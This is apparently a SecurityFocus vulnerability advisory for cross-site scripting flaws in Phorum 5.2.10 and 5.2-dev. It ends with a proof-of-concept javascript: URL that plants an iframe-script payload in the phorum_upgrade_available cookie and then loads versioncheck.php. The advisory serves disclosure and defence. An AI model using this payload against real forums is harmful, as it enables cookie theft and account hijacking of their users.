source: https://www.securityfocus.com/bid/34551/info
   
Phorum is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
   
An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.
   
Phorum 5.2.10 and 5.2-dev are vulnerable; other versions may also be affected. 

javascript:with(document)cookie="phorum_upgrade_available=
<iframe/src='javascript:alert(/voodoo/.source)'>",
location="http://www.victim.com/phorum-5.2.10/versioncheck.php";